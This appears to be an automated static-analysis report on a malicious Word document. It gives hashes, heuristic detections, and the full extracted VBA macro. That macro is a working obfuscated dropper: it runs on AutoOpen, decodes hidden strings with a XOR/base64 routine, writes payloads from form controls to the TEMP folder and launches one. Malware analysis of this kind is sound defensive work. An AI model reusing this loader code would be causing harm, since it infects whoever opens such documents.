Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 1b206831261595be…

MALICIOUS

Office (OLE) / .DOC

49.0 KB Created: 2026-06-17 07:31:00 Authoring application: Microsoft Office Word First seen: 2026-06-20
MD5: f81675e9b4a13a66b1253fa410bdbfad SHA-1: 50147b5e437615f2ad53a10e95c5b78fed03570e SHA-256: 1b206831261595bee642a2c76822d95e7bd0d7cc94711e050084be008cf67f01
238 Risk Score

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set wsh = CreateObject(xibasbd)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set wsh = CreateObject(xibasbd)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
        result(0) = CallByName(UserForm1.Controls(vnsadf), tyvdf, VbGet)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        GetTempFolder = Environ(sbcba)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10075 bytes
SHA-256: 0d575aeb32beee3c84586809ccf5dc558dc0c3044f6230f427d74ae994f85da3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public keyHex As String

Sub RunProgram(cvacjgzddhi As String)
    Dim wsh As Object
    xibasbd = DecryptString("FDI" + _
    "BFA" + _
    "sZF" + _
    "V" + _
    "0a" + _
    "HhA" + _
    "VL" + _
    "w=" + _
    "=")
    Set wsh = CreateObject(xibasbd)
    
    wsh.Run GetQuoteStart() & GetC(cvacjgzddhi) & GetQuoteStart(), GetWindowStyle(), False
End Sub

Function GetQuoteStart() As String
    GetQuoteStart = Chr(34)
End Function

Function GetC(cvacjgzddhi As String) As String
    GetC = cvacjgzddhi
End Function

Function GetWindowStyle() As Integer
    GetWindowStyle = CalculateStyleValue()
End Function

Function CalculateStyleValue() As Integer
    CalculateStyleValue = SubtractValues(10, 5)
End Function

Function SubtractValues(a As Integer, b As Integer) As Integer
    SubtractValues = a - b
End Function

Function FileExists(filePath)
    Dim fso
    asbabc = DecryptString("EAI" + _
    "QD" + _
    "xIdC" + _
    "B" + _
    "0" + _
    "OW" + _
    "DMQL" + _
    "w" + _
    "Q" + _
    "xH" + _
    "xEd" + _
    "BB4m" + _
    "FB" + _
    "8" + _
    "c" + _
    "IBU=")
    Set fso = CreateObject(asbabc)
    If fso.FileExists(filePath) Then
        FileExists = True
    Else
        FileExists = False
    End If
    Set fso = Nothing
End Function

Private Function CleanBase64(s As String) As String
    On Error Resume Next
    CleanBase64 = Replace(Replace(Replace(Replace(s, " ", ""), vbCr, ""), vbLf, ""), vbCrLf, "")
End Function

Private Sub InitBase64Map(ByRef m() As Integer)
    Dim i As Integer
    For i = 0 To 128
        m(i) = -1
    Next i
       
    For i = 65 To 90: m(i) = (i - 65) Xor 0: Next i
    For i = 97 To 122: m(i) = (i - 71) Xor 0: Next i
    For i = 48 To 57: m(i) = (i + 4) Xor 0: Next i
    m(43) = 62 Xor 0
    m(47) = 63 Xor 0
    m(61) = 0 Xor 0
End Sub

Private Function CombineQuartet(ByVal v1 As Long, ByVal v2 As Long, ByVal v3 As Long, ByVal v4 As Long) As Long
    CombineQuartet = v1 * CLng(262144) + v2 * CLng(4096) + v3 * CLng(64) + v4
    
End Function

Private Sub SplitToTriplet(ByVal combined As Long, ByRef outArr() As Byte, ByVal pos As Long)
    outArr(pos) = CByte((combined And &HFF0000) \ &H10000)
    outArr(pos + 1) = CByte((combined And &HFF00&) \ &H100&)
    outArr(pos + 2) = CByte(combined And &HFF&)
End Sub

Public Function Base64DecodeInternal(ByVal cleanData As String) As Byte()
    Dim mapArr(128) As Integer
    Dim chkLen As Long, padCount As Integer
    Dim idx As Long, pos As Long, outLen As Long
    Dim resBytes() As Byte
    Dim c1 As Integer, c2 As Integer, c3 As Integer, c4 As Integer
    Dim combined As Long
    
    chkLen = Len(cleanData) And 3
    If chkLen <> 0 Then
        Base64DecodeInternal = ""
        Exit Function
    End If
    
    padCount = 0
    If (Len(cleanData) >= 2) And (Right$(cleanData, 2) = "==") Then
        padCount = 2
    ElseIf (Len(cleanData) >= 1) And (Right$(cleanData, 1) = "=") Then
        padCount = 1
    End If

    InitBase64Map mapArr

    outLen = (Len(cleanData) \ 4) * 3
    If outLen > 0 Then
        ReDim resBytes(outLen - 1)
    Else
        Base64DecodeInternal = ""
        Exit Function
    End If

    pos = 0
    For idx = 1 To Len(cleanData) Step 4
        c1 = mapArr(Asc(Mid$(cleanData, idx, 1)))
        If c1 = -1 Then c1 = 0
        
        c2 = mapArr(Asc(Mid$(cleanData, idx + 1, 1)))
        If c2 = -1 Then c2 = 0
        
        c3 = mapArr(Asc(Mid$(cleanData, idx + 2, 1)))
        If c3 = -1 Then c3 = 0
        
        c4 = mapArr(Asc(Mid$(cleanData, idx + 3, 1)))
        If c4 = -1 Then c4 = 0
        combined = CombineQuartet(c1, c2, c3, c4)
        
        Call SplitToTriplet(combined, resBytes, pos)
        
        pos = pos + 3
    Next idx

    If padCount > 0 Then
        ReDim Preserve resBytes(UBound(resBytes) - padCount)
    End If
    Base64DecodeInternal = resBytes
End Function

Function Base64Decode(s As String) As Byte()
    Dim raw As String
    raw = CleanBase64(s)
    Base64Decode = Base64DecodeInternal(raw)
End Function

Private Function DecryptString(ByVal encodedStr As String, Optional ByVal code As Integer = 2) As String
    Dim decodedBytes() As Byte
    Dim keyBytes() As Byte
    Dim resultBytes() As Byte
    Dim i As Long
    Dim keyLen As Long
    Dim dataLen As Long
    Dim hexByte As String

    decodedBytes = Base64Decode(encodedStr)
    If UBound(decodedBytes) = -1 Then
        DecryptString = ""
        Exit Function
    End If
    dataLen = UBound(decodedBytes) + 1

    keyLen = Len(keyHex) / 2
    If keyLen <= 0 Then
        DecryptString = ""
        Exit Function
    End If
    ReDim keyBytes(0 To keyLen - 1)
    For i = 0 To keyLen - 1
        hexByte = Mid(keyHex, i * 2 + 1, 2)
        If Len(hexByte) <> 2 Then
            DecryptString = ""
            Exit Function
        End If
        keyBytes(i) = CByte("&H" & hexByte)
    Next i

    ReDim resultBytes(0 To dataLen - 1)
    For i = 0 To dataLen - 1
        resultBytes(i) = decodedBytes(i) Xor keyBytes(i Mod keyLen)
    Next i
  
    DecryptString = StrConv(resultBytes, vbUnicode)
    
     
End Function


Private Function ConvertToByteArray(buf As Variant) As Byte()
    Dim i As Long
    Dim tmp() As Byte
    
    If VarType(buf) <> vbArray + vbByte Then
        ConvertToByteArray = Split("")
        Exit Function
    End If
    
    ReDim tmp(LBound(buf) To UBound(buf))
    For i = LBound(buf) To UBound(buf)
        tmp(i) = buf(i)
    Next i
    
    ConvertToByteArray = tmp
End Function

Private Function WriteBinaryData(FileName As String, staticBuf() As Byte) As Boolean
    Dim fileNum As Integer
    Dim i As Long
    
    On Error GoTo ErrHandler
    
    fileNum = FreeFile
    Open FileName For Binary As #fileNum
    
    For i = LBound(staticBuf) To UBound(staticBuf)
        Put #fileNum, , staticBuf(i)
    Next i
    
    Close #fileNum
    WriteBinaryData = True
    Exit Function

ErrHandler:
    WriteBinaryData = False
End Function

Function SaveToFile(FileName As String, buf As Variant) As Boolean
    Dim staticBuf() As Byte
    
    staticBuf = ConvertToByteArray(buf)
    
    On Error Resume Next
    If UBound(staticBuf) < LBound(staticBuf) Then
        SaveToFile = False
        Exit Function
    End If
    On Error GoTo 0
    
    SaveToFile = WriteBinaryData(FileName, staticBuf)
End Function

Function DecodeAndWriteFile(path As String, conte As String)

    hwminiArra = Base64Decode(conte)
    SaveToFile path, hwminiArra

End Function


Function GetTempFolder() As String
    sbcba = DecryptString("FwQ" + _
    "PF" + _
    "g==")
    GetTempFolder = Environ(sbcba)
    Debug.Print GetTempFolder
End Function

Function BuildPath1(hfdsfasd As String) As String
    asnca = DecryptString("Jg" + _
    "M" + _
    "NCQ" + _
    "lEBB" + _
    "cAAl" + _
    "s" + _
    "cOw" + _
    "Q" + _
    "=")
    BuildPath1 = hfdsfasd & "\" & asnca
End Function

Function BuildPath2(hfdsfasd As String) As String
    sdvv = DecryptString("ACA" + _
    "O" + _
    "D" + _
    "wA" + _
    "b" + _
    "BF" + _
    "4lNw" + _
    "AXI" + _
    "AkHF" + _
    "Ew" + _
    "N" + _
    "DR8" + _
    "=")
    BuildPath2 = hfdsfasd & "\" & sdvv
End Function

Function BuildPath3(hfdsfasd As String) As String
    ubv = DecryptString("J" + _
    "gU" + _
    "LE" + _
    "lBH" + _
    "CR" + _
    "8Z")
    BuildPath3 = hfdsfasd & "\" & ubv
End Function

Function GetPayloadData() As String()
    Dim result(2) As String
    vnsadf = DecryptString("AA4" + _
    "PCw" + _
    "MH" + _
    "BTEc" + _
    "AgE" + _
    "W" + _
    "L" + _
    "VA" + _
    "=")
    tyvdf = DecryptString("A" + _
    "A" + _
    "ASE" + _
    "g" + _
    "sGD" + _
    "w" + _
    "==")
    result(0) = CallByName(UserForm1.Controls(vnsadf), tyvdf, VbGet)
    result(1) = CallByName(UserForm2.Controls(vnsadf), tyvdf, VbGet)
    result(2) = CallByName(UserForm3.Controls(vnsadf), tyvdf, VbGet)
    GetPayloadData = result
End Function


Sub WriteAllFiles(destPath1 As String, destPath2 As String, destPath3 As String, content() As String)
    DecodeAndWriteFile destPath1, content(0)
    DecodeAndWriteFile destPath2, content(1)
    DecodeAndWriteFile destPath3, content(2)
End Sub

Sub ExecuteFile(njivnbd As String)
    RunProgram (njivnbd)
End Sub

Sub PreparePaths(ByRef f1 As String, ByRef f2 As String, ByRef f3 As String)
    Dim baseDir As String
    baseDir = GetTempFolder()
    
    f1 = BuildPath1(baseDir)
    f2 = BuildPath2(baseDir)
    f3 = BuildPath3(baseDir)

    Call DeployAssets(f1, f2, f3)
End Sub

Sub DeployAssets(inPath1 As String, inPath2 As String, inPath3 As String)
    If Not FileExists(inPath1) Then
        Dim byteData() As String
        byteData = GetPayloadData()
        WriteAllFiles inPath1, inPath2, inPath3, byteData
        Call LaunchFile(inPath1)
    End If
End Sub

Sub LaunchFile(targetPath As String)
    ExecuteFile targetPath
End Sub

Function StartMain()
    Dim f1 As String, f2 As String, f3 As String
    
    Call PreparePaths(f1, f2, f3)
          
End Function

Function GetKey()
    Dim result As String
    result = CallByName(UserForm4.Controls("C" + _
    "om" + _
    "ma" + _
    "n" + _
    "d" + _
    "But" + _
    "t" + _
    "o" + _
    "n1"), "Ca" + _
    "pt" + _
    "i" + _
    "o" + _
    "n", VbGet)
    keyHex = result
    
    StartMain
       
End Function

Sub AutoOpen()
GetKey
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.